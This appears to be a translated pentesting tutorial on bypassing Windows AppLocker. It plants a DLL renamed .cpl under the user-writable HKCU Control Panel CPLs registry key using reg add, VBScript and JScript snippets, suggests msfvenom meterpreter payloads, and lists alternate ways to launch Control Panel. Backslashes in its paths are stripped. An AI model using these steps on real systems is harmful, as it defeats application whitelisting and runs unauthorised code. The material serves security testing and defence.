Francesco Mifsud 发现,当启动控制面板时,将检查以下两个注册表位置,然后加载CPL。
HKLMSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs
HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs
问题就出在第二个注册表的位置,普通用户具有写入权限,所以可以在注册表中写入一个注册表键,该注册表将在控制面板启动时加载和执行恶意代码。唯一的条件是用户的系统允许打开控制面板和注册表。注册表二进制文件位于Windows文件夹内,默认情况下,AppLocker允许执行此文件夹内的所有内容。在大多数环境中也是允许控制面板运行的。
绕过AppLocker ——阻止 CMD 运行
第一步是创建一个DLL并将其重命名为.Cpl,以便它可以与控制面板一起执行。Metasploit 的Msfvenom可以创建一个自定义的DLL,其中可以包含一个嵌入的meterpreter有效负载或者Didier Stevens的 cmd DLL文件,可以用来绕过禁止cmd运行的限制。
以下命令将创建一个注册表键,这个注册表键的值将包含存储在主机上的CPL文件的路径。默认情况下,标准用户对自己的配置单元是具有写入权限的。
reg add "HKCUSOFTWAREMicrosoftWindowsCurrentVersionControl PanelCpls" /v pentestlab.cpl /t REG_SZ /d "C:pentestlab.cpl"
绕过AppLocker —— 将注册表键添加到注册表
如果cmd被禁用,可以使用注册表编辑器添加注册表项:
注册表编辑器 – 添加CPL注册表键
Francesco Mifsud还发布了两个脚本,可以在cmd和注册表编辑器被阻止时将注册表键添加到注册表中。
VBScript:
const HKEY_CURRENT_USER = &H80000001 strComputer = "." Set objReg=GetObject( "winmgmts:{impersonationLevel=impersonate}!" & strComputer & "rootdefault:StdRegProv") strKeyPath = "SoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs" objReg.CreateKey HKEY_CURRENT_USER,strKeyPath strValueName = "pentestlabCPL" strValue = "C:pentestlabCPL.cpl" objReg.SetStringValue HKEY_CURRENT_USER,strKeyPath,strValueName,strValue
Jscript:
var obj = WScript.CreateObject("WScript.Shell"); obj.RegWrite("HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs", "Top level key"); obj.RegWrite("HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLspentestlabCPL", "C:pentestlabCPL.cpl","REG_SZ");
从启动控制面板的那一刻开始,代码将被执行,cmd将被打开。
AppLocker Bypass – 通过控制面板命令提示符
在控制面板被阻止打开的情况下,可以使用以下位置作为启动控制面板的替代方法。
· C:windowssystem32control.exe
· AppDataRoamingMicrosoftWindowsStart MenuProgramsAccessoriesSystem ToolsControl Panel.lnk
· shell:::{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}
· shell:::{26EE0668-A00A-44D7-9371-BEB064C98683}
· shell:::{ED7BA470-8E54-465E-825C-99712043E01C}
· My Control Panel.{ED7BA470-8E54-465E-825C-99712043E01C}